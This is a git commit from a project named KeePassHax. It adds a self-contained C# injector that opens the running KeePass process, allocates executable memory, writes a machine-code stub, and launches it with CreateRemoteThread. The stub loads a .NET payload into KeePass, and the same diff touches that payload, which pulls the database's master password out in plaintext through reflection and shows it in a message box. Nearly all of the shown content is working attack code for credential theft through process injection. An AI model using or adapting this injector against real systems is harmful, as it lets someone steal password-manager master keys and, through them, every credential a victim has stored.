Add fully managed injector that works as a single binary
This commit is contained in:
Родитель
795dfc1732
Коммит
eae707b162
|
@ -0,0 +1,3 @@
|
|||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<ILMerge FullImport='true'/>
|
||||
</Weavers>
|
|
@ -0,0 +1,101 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="ILMerge" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="IncludeAssemblies" type="xs:string" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the assembly names to include in merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element name="ExcludeAssemblies" type="xs:string" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the assembly names to exclude from merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element name="IncludeResources" type="xs:string" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the resource names to include in merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element name="ExcludeResources" type="xs:string" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the resource names to exclude from merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element name="HideImportedTypes" type="xs:boolean" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A switch to control whether the imported types are hidden (made private) or keep their visibility unchanged. Default is 'true'</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element name="NamespacePrefix" type="xs:string" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A string that is used as prefix for the namespace of the imported types.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element name="FullImport" type="xs:boolean" minOccurs="0" maxOccurs="1">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A switch to control whether to import the full assemblies or only the referenced types. Default is 'false'</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the assembly names to include in merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the assembly names to exclude from merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeResources" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the resource names to include in merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeResources" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A regular expression matching the resource names to exclude from merging.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="HideImportedTypes" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A switch to control whether the imported types are hidden (made private) or keep their visibility unchanged. Default is 'true'</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="NamespacePrefix" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A string that is used as prefix for the namespace of the imported types.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="FullImport" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A switch to control whether to import the full assemblies or only the referenced types. Default is 'false'</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
|
@ -0,0 +1,234 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Iced.Intel;
|
||||
|
||||
namespace KeePassHax.Injector.Injection
|
||||
{
|
||||
internal static class CodeInjectionUtils
|
||||
{
|
||||
public static int GetExportAddress(IntPtr hProc, IntPtr hMod, string name, bool x86)
|
||||
{
|
||||
var dic = GetAllExportAddresses(hProc, hMod, x86);
|
||||
|
||||
if (!dic.ContainsKey(name))
|
||||
throw new Exception($"Could not find function with name {name}.");
|
||||
|
||||
return dic[name];
|
||||
}
|
||||
|
||||
public static Dictionary<string, int> GetAllExportAddresses(IntPtr hProc, IntPtr hMod, bool x86)
|
||||
{
|
||||
var dic = new Dictionary<string, int>();
|
||||
int hdr = ReadInt(0x3C);
|
||||
|
||||
int exportTableRva = ReadInt(hdr + (x86 ? 0x78 : 0x88));
|
||||
var exportTable = ReadStruct<ImageExportDirectory>(exportTableRva);
|
||||
|
||||
var functions = ReadArray<int>(exportTable.AddressOfFunctions, exportTable.NumberOfFunctions);
|
||||
var names = ReadArray<int>(exportTable.AddressOfNames, exportTable.NumberOfNames);
|
||||
var ordinals = ReadArray<ushort>(exportTable.AddressOfNameOrdinals, exportTable.NumberOfFunctions);
|
||||
|
||||
for (var i = 0; i < names.Length; i++)
|
||||
if (names[i] != 0)
|
||||
dic[ReadCString(names[i])] = functions[ordinals[i]];
|
||||
|
||||
return dic;
|
||||
|
||||
#region local memory reading functions
|
||||
|
||||
byte[] ReadBytes(int offset, int size)
|
||||
{
|
||||
var readBuffer = new byte[size];
|
||||
|
||||
if (!Native.ReadProcessMemory(hProc, hMod + offset, readBuffer, size, out _))
|
||||
throw new Exception($"Reading at address 0x{(hMod + offset).ToInt64():X8} failed");
|
||||
|
||||
return readBuffer;
|
||||
}
|
||||
|
||||
int ReadInt(int offset) => BitConverter.ToInt32(ReadBytes(offset, 4), 0);
|
||||
|
||||
T[] ReadArray<T>(uint offset, uint amount)
|
||||
{
|
||||
var bytes = ReadBytes((int) offset, (int) (amount * Marshal.SizeOf<T>()));
|
||||
|
||||
var arr = new T[amount];
|
||||
Buffer.BlockCopy(bytes, 0, arr, 0, bytes.Length);
|
||||
return arr;
|
||||
}
|
||||
|
||||
T ReadStruct<T>(int offset)
|
||||
{
|
||||
var bytes = ReadBytes(offset, Marshal.SizeOf<T>());
|
||||
|
||||
var hStructure = Marshal.AllocHGlobal(bytes.Length);
|
||||
Marshal.Copy(bytes, 0, hStructure, bytes.Length);
|
||||
var structure = Marshal.PtrToStructure<T>(hStructure);
|
||||
Marshal.FreeHGlobal(hStructure);
|
||||
|
||||
return structure;
|
||||
}
|
||||
|
||||
string ReadCString(int offset)
|
||||
{
|
||||
byte b;
|
||||
var str = new StringBuilder();
|
||||
|
||||
for (var i = 0; (b = ReadBytes(offset + i, 1)[0]) != 0; i++)
|
||||
str.Append((char) b);
|
||||
|
||||
return str.ToString();
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
|
||||
public static void AddCallStub(InstructionList instructions, IntPtr regAddr, object[] arguments, bool x86,
|
||||
bool cleanStack = false)
|
||||
{
|
||||
if (x86)
|
||||
{
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_imm32, Register.EAX, regAddr.ToInt32()));
|
||||
AddCallStub(instructions, Register.EAX, arguments, true, cleanStack);
|
||||
}
|
||||
else
|
||||
{
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, Register.RAX, regAddr.ToInt64()));
|
||||
AddCallStub(instructions, Register.RAX, arguments, false, cleanStack);
|
||||
}
|
||||
}
|
||||
|
||||
public static void AddCallStub(InstructionList instructions, Register regFun, object[] arguments, bool x86,
|
||||
bool cleanStack = false)
|
||||
{
|
||||
if (x86)
|
||||
{
|
||||
// push arguments
|
||||
for (int i = arguments.Length - 1; i >= 0; i--)
|
||||
{
|
||||
instructions.Add(arguments[i] switch
|
||||
{
|
||||
IntPtr p => Instruction.Create(Code.Pushd_imm32, p.ToInt32()),
|
||||
int i32 => Instruction.Create(Code.Pushd_imm32, i32),
|
||||
byte u8 => Instruction.Create(Code.Pushd_imm8, u8),
|
||||
Register reg => Instruction.Create(Code.Push_r32, reg),
|
||||
_ => throw new NotSupportedException(
|
||||
$"Unsupported parameter type {arguments[i].GetType()} on x86"),
|
||||
});
|
||||
}
|
||||
|
||||
instructions.Add(Instruction.Create(Code.Call_rm32, regFun));
|
||||
|
||||
if (cleanStack && arguments.Length > 0)
|
||||
instructions.Add(Instruction.Create(Code.Add_rm32_imm8, Register.ESP,
|
||||
arguments.Length * IntPtr.Size));
|
||||
}
|
||||
else
|
||||
{
|
||||
// calling convention: https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019
|
||||
const Register tempReg = Register.RAX;
|
||||
|
||||
// push the temp register so we can use it
|
||||
instructions.Add(Instruction.Create(Code.Push_r64, tempReg));
|
||||
|
||||
// set arguments
|
||||
for (int i = arguments.Length - 1; i >= 0; i--)
|
||||
{
|
||||
var arg = arguments[i];
|
||||
var argReg = i switch
|
||||
{
|
||||
0 => Register.RCX, 1 => Register.RDX, 2 => Register.R8, 3 => Register.R9, _ => Register.None
|
||||
};
|
||||
if (i > 3)
|
||||
{
|
||||
// push on the stack, keeping in mind that we pushed the temp reg onto the stack too
|
||||
if (arg is Register r)
|
||||
{
|
||||
instructions.Add(Instruction.Create(Code.Mov_rm64_r64,
|
||||
new MemoryOperand(Register.RSP, 0x20 + (i - 3) * 8), r));
|
||||
}
|
||||
else
|
||||
{
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, tempReg, ConvertToLong(arg)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_rm64_r64,
|
||||
new MemoryOperand(Register.RSP, 0x20 + (i - 3) * 8), tempReg));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// move to correct register
|
||||
if (arg is Register r)
|
||||
{
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, argReg, r));
|
||||
}
|
||||
else
|
||||
{
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, argReg, ConvertToLong(arg)));
|
||||
}
|
||||
}
|
||||
|
||||
long ConvertToLong(object o) => o switch
|
||||
{
|
||||
IntPtr p => p.ToInt64(),
|
||||
UIntPtr p => (long) p.ToUInt64(),
|
||||
_ => Convert.ToInt64(o),
|
||||
};
|
||||
}
|
||||
|
||||
// pop temp register again
|
||||
instructions.Add(Instruction.Create(Code.Pop_r64, tempReg));
|
||||
|
||||
// call the function
|
||||
instructions.Add(Instruction.Create(Code.Call_rm64, regFun));
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr RunRemoteCode(IntPtr hProc, InstructionList instructions, bool x86,
|
||||
bool waitForFinish = false)
|
||||
{
|
||||
var cw = new CodeWriterImpl();
|
||||
var ib = new InstructionBlock(cw, instructions, 0);
|
||||
if (!BlockEncoder.TryEncode(x86 ? 32 : 64, ib, out string errMsg, out _))
|
||||
throw new Exception("Error during Iced encode: " + errMsg);
|
||||
var bytes = cw.ToArray();
|
||||
|
||||
var ptrStub = Native.VirtualAllocEx(hProc, IntPtr.Zero, (uint) bytes.Length, 0x1000, 0x40);
|
||||
Native.WriteProcessMemory(hProc, ptrStub, bytes, (uint) bytes.Length, out _);
|
||||
|
||||
var thread = Native.CreateRemoteThread(hProc, IntPtr.Zero, 0u, ptrStub, IntPtr.Zero, 0u, IntPtr.Zero);
|
||||
|
||||
// wait for thread to finish
|
||||
if (waitForFinish)
|
||||
Native.WaitForSingleObject(thread, uint.MaxValue);
|
||||
|
||||
return thread;
|
||||
}
|
||||
|
||||
private sealed class CodeWriterImpl : CodeWriter
|
||||
{
|
||||
private readonly List<byte> _allBytes = new List<byte>();
|
||||
public override void WriteByte(byte value) => _allBytes.Add(value);
|
||||
public byte[] ToArray() => _allBytes.ToArray();
|
||||
}
|
||||
|
||||
private struct ImageExportDirectory
|
||||
{
|
||||
#pragma warning disable 649
|
||||
public uint Characteristics;
|
||||
public uint TimeDateStamp;
|
||||
public ushort MajorVersion;
|
||||
public ushort MinorVersion;
|
||||
|
||||
public uint Name;
|
||||
public uint Base;
|
||||
public uint NumberOfFunctions;
|
||||
public uint NumberOfNames;
|
||||
public uint AddressOfFunctions;
|
||||
public uint AddressOfNames;
|
||||
public uint AddressOfNameOrdinals;
|
||||
#pragma warning restore 649
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Iced.Intel;
|
||||
|
||||
namespace KeePassHax.Injector.Injection
|
||||
{
|
||||
internal class FrameworkV2Injector : FrameworkInjector
|
||||
{
|
||||
protected override string ClrVersion => "v2.0.50727";
|
||||
}
|
||||
|
||||
internal abstract class FrameworkInjector
|
||||
{
|
||||
protected abstract string ClrVersion { get; }
|
||||
public Action<string> Log { private get; set; } = s => { };
|
||||
|
||||
public void Inject(int pid, in InjectionArguments args, bool x86)
|
||||
{
|
||||
var hProc = Native.OpenProcess(Native.ProcessAccessFlags.AllForDllInject, false, pid);
|
||||
if (hProc == IntPtr.Zero)
|
||||
throw new Exception("Couldn't open process");
|
||||
|
||||
Log("Handle: " + hProc.ToInt32().ToString("X8"));
|
||||
|
||||
var bindToRuntimeAddr = GetCorBindToRuntimeExAddress(pid, hProc, x86);
|
||||
Log("CurBindToRuntimeEx: " + bindToRuntimeAddr.ToInt64().ToString("X8"));
|
||||
|
||||
var instructions = CreateStub(hProc, args.Path, args.TypeFull, args.Method, args.Argument, bindToRuntimeAddr, x86, ClrVersion);
|
||||
Log("Instructions to be injected:\n" + string.Join("\n", instructions));
|
||||
|
||||
var hThread = CodeInjectionUtils.RunRemoteCode(hProc, instructions, x86);
|
||||
Log("Thread handle: " + hThread.ToInt32().ToString("X8"));
|
||||
|
||||
// TODO: option to wait until injected function returns?
|
||||
/*
|
||||
var success = Native.GetExitCodeThread(hThread, out IntPtr exitCode);
|
||||
Log("GetExitCode success: " + success);
|
||||
Log("Exit code: " + exitCode.ToInt32().ToString("X8"));
|
||||
*/
|
||||
|
||||
Native.CloseHandle(hProc);
|
||||
}
|
||||
|
||||
private static IntPtr GetCorBindToRuntimeExAddress(int pid, IntPtr hProc, bool x86)
|
||||
{
|
||||
var proc = Process.GetProcessById(pid);
|
||||
var mod = proc.Modules.OfType<ProcessModule>().FirstOrDefault(m => m.ModuleName.Equals("mscoree.dll", StringComparison.InvariantCultureIgnoreCase));
|
||||
|
||||
if (mod is null)
|
||||
throw new Exception("Couldn't find MSCOREE.DLL, arch mismatch?");
|
||||
|
||||
int fnAddr = CodeInjectionUtils.GetExportAddress(hProc, mod.BaseAddress, "CorBindToRuntimeEx", x86);
|
||||
|
||||
return mod.BaseAddress + fnAddr;
|
||||
}
|
||||
|
||||
private InstructionList CreateStub(IntPtr hProc, string asmPath, string typeFullName, string methodName, string args, IntPtr fnAddr, bool x86, string clrVersion)
|
||||
{
|
||||
const string buildFlavor = "wks"; // WorkStation
|
||||
|
||||
var clsidClrRuntimeHost = new Guid(0x90F1A06E, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02);
|
||||
var iidIclrRuntimeHost = new Guid(0x90F1A06C, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02);
|
||||
|
||||
var ppv = Alloc(IntPtr.Size);
|
||||
var riid = AllocBytes(iidIclrRuntimeHost.ToByteArray());
|
||||
var rcslid = AllocBytes(clsidClrRuntimeHost.ToByteArray());
|
||||
var pwszBuildFlavor = AllocString(buildFlavor);
|
||||
var pwszVersion = AllocString(clrVersion);
|
||||
|
||||
var pReturnValue = Alloc(4);
|
||||
var pwzArgument = AllocString(args);
|
||||
var pwzMethodName = AllocString(methodName);
|
||||
var pwzTypeName = AllocString(typeFullName);
|
||||
var pwzAssemblyPath = AllocString(asmPath);
|
||||
|
||||
var instructions = new InstructionList();
|
||||
|
||||
void AddCallR(Register r, params object[] callArgs) => CodeInjectionUtils.AddCallStub(instructions, r, callArgs, x86);
|
||||
void AddCallP(IntPtr fn, params object[] callArgs) => CodeInjectionUtils.AddCallStub(instructions, fn, callArgs, x86);
|
||||
|
||||
if (x86) {
|
||||
// call CorBindToRuntimeEx
|
||||
AddCallP(fnAddr, pwszVersion, pwszBuildFlavor, (byte)0, rcslid, riid, ppv);
|
||||
|
||||
// call ICLRRuntimeHost::Start
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EDX, new MemoryOperand(Register.None, ppv.ToInt32())));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EDX)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EAX, 0x0C)));
|
||||
AddCallR(Register.EAX, Register.EDX);
|
||||
|
||||
// call ICLRRuntimeHost::ExecuteInDefaultAppDomain
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EDX, new MemoryOperand(Register.None, ppv.ToInt32())));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EDX)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EAX, 0x2C)));
|
||||
AddCallR(Register.EAX, Register.EDX, pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument, pReturnValue);
|
||||
|
||||
instructions.Add(Instruction.Create(Code.Retnd));
|
||||
} else {
|
||||
const int maxStackIndex = 3;
|
||||
const int stackOffset = 0x20;
|
||||
instructions.Add(Instruction.Create(Code.Sub_rm64_imm8, Register.RSP, stackOffset + maxStackIndex * 8));
|
||||
|
||||
// call CorBindToRuntimeEx
|
||||
AddCallP(fnAddr, pwszVersion, pwszBuildFlavor, 0, rcslid, riid, ppv);
|
||||
|
||||
// call pClrHost->Start();
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, Register.RCX, ppv.ToInt64()));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RCX, new MemoryOperand(Register.RCX)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RAX, new MemoryOperand(Register.RCX)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RDX, new MemoryOperand(Register.RAX, 0x18)));
|
||||
AddCallR(Register.RDX, Register.RCX);
|
||||
|
||||
// call pClrHost->ExecuteInDefaultAppDomain()
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, Register.RCX, ppv.ToInt64()));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RCX, new MemoryOperand(Register.RCX)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RAX, new MemoryOperand(Register.RCX)));
|
||||
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RAX, new MemoryOperand(Register.RAX, 0x58)));
|
||||
AddCallR(Register.RAX, Register.RCX, pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument, pReturnValue);
|
||||
|
||||
instructions.Add(Instruction.Create(Code.Add_rm64_imm8, Register.RSP, stackOffset + maxStackIndex * 8));
|
||||
|
||||
instructions.Add(Instruction.Create(Code.Retnq));
|
||||
}
|
||||
|
||||
return instructions;
|
||||
|
||||
IntPtr Alloc(int size, int protection = 0x04) => Native.VirtualAllocEx(hProc, IntPtr.Zero, (uint)size, 0x1000, protection);
|
||||
void WriteBytes(IntPtr address, byte[] b) => Native.WriteProcessMemory(hProc, address, b, (uint)b.Length, out _);
|
||||
void WriteString(IntPtr address, string str) => WriteBytes(address, new UnicodeEncoding().GetBytes(str));
|
||||
|
||||
IntPtr AllocString(string str)
|
||||
{
|
||||
if (str is null) return IntPtr.Zero;
|
||||
|
||||
var pString = Alloc(str.Length * 2 + 2);
|
||||
WriteString(pString, str);
|
||||
return pString;
|
||||
}
|
||||
|
||||
IntPtr AllocBytes(byte[] buffer)
|
||||
{
|
||||
var pBuffer = Alloc(buffer.Length);
|
||||
WriteBytes(pBuffer, buffer);
|
||||
return pBuffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
namespace KeePassHax.Injector.Injection
|
||||
{
|
||||
internal struct InjectionArguments
|
||||
{
|
||||
public string Path;
|
||||
public string Namespace;
|
||||
public string Type;
|
||||
public string Method;
|
||||
public string Argument;
|
||||
|
||||
public string TypeFull => Namespace is null ? Type : Namespace + "." + Type;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace KeePassHax.Injector.Injection
|
||||
{
|
||||
internal static class Native
|
||||
{
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, int flAllocationType, int flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In] [Out] byte[] buffer, uint size, out uint lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetExitCodeThread(IntPtr hThread, out IntPtr lpExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
AllForDllInject = CreateThread | QueryInformation | VirtualMemoryOperation | VirtualMemoryRead | VirtualMemoryWrite,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<OutputType>Exe</OutputType>
|
||||
<TargetFramework>net461</TargetFramework>
|
||||
<LangVersion>8</LangVersion>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Iced" Version="1.9.0" />
|
||||
<PackageReference Include="ILMerge.Fody" Version="1.14.0" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\KeePassHax\KeePassHax.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
|
@ -0,0 +1,47 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using KeePassHax.Injector.Injection;
|
||||
|
||||
namespace KeePassHax.Injector
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
private const string DllPath = @"D:\Projects\DotNet\KeePassHax\KeePassHax\bin\Debug\net461\KeePassHax.dll";
|
||||
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
var newPath = CopySelfToTemp();
|
||||
Console.WriteLine("Will inject dll from location " + newPath);
|
||||
|
||||
var proc = Process.GetProcessesByName("KeePass").Single();
|
||||
|
||||
var injector = new FrameworkV2Injector {Log = Console.WriteLine};
|
||||
injector.Inject(proc.Id, new InjectionArguments
|
||||
{
|
||||
Path = newPath,
|
||||
Namespace = nameof(KeePassHax),
|
||||
Type = nameof(KeePassHax.Program),
|
||||
Method = nameof(KeePassHax.Program.Main),
|
||||
Argument = "",
|
||||
}, false);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine(e);
|
||||
}
|
||||
}
|
||||
|
||||
private static string CopySelfToTemp()
|
||||
{
|
||||
var currentPath = typeof(KeePassHax.Program).Assembly.Location;
|
||||
var newPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid() + ".dll");
|
||||
File.Copy(currentPath, newPath);
|
||||
|
||||
return newPath;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -5,6 +5,8 @@ VisualStudioVersion = 15.0.27428.2027
|
|||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeePassHax", "KeePassHax\KeePassHax.csproj", "{CBE2DB6E-3640-4194-8782-342A6C24C275}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeePassHax.Injector", "KeePassHax.Injector\KeePassHax.Injector.csproj", "{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
|
@ -15,6 +17,10 @@ Global
|
|||
{CBE2DB6E-3640-4194-8782-342A6C24C275}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{CBE2DB6E-3640-4194-8782-342A6C24C275}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{CBE2DB6E-3640-4194-8782-342A6C24C275}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
|
|
@ -28,8 +28,8 @@ namespace KeePassHax
|
|||
MessageBox.Show("Loading from injected DLL!", "Test");
|
||||
|
||||
// Try to get the entry assembly, and find the Program class
|
||||
Assembly asm = Assembly.GetEntryAssembly();
|
||||
Type programType = asm.EntryPoint.DeclaringType;
|
||||
var asm = Assembly.GetEntryAssembly();
|
||||
var programType = asm.EntryPoint.DeclaringType;
|
||||
|
||||
// Get the main form
|
||||
var mainForm = programType.GetFieldStatic("m_formMain");
|
||||
|
@ -42,8 +42,7 @@ namespace KeePassHax
|
|||
|
||||
// Get all items that make up the CompositeKey
|
||||
var userKeys = (IList)compositeKey.GetFieldInstance("m_vUserKeys");
|
||||
foreach (object key in userKeys) {
|
||||
|
||||
foreach (var key in userKeys) {
|
||||
// Do something different depending on what kind of user key we get
|
||||
switch (key.GetType().Name) {
|
||||
case "KcpPassword":
|
||||
|
@ -51,7 +50,7 @@ namespace KeePassHax
|
|||
var passProt = key.GetFieldInstance("m_psPassword");
|
||||
|
||||
// Invoke the ReadString function, which returns a plaintext string
|
||||
string cleartext = (string)passProt.RunMethodInstance("ReadString");
|
||||
var cleartext = (string)passProt.RunMethodInstance("ReadString");
|
||||
MessageBox.Show("Extracted password:\n" + cleartext, key.GetType().Name);
|
||||
break;
|
||||
case "KcpKeyFile":
|
||||
|
@ -64,7 +63,7 @@ namespace KeePassHax
|
|||
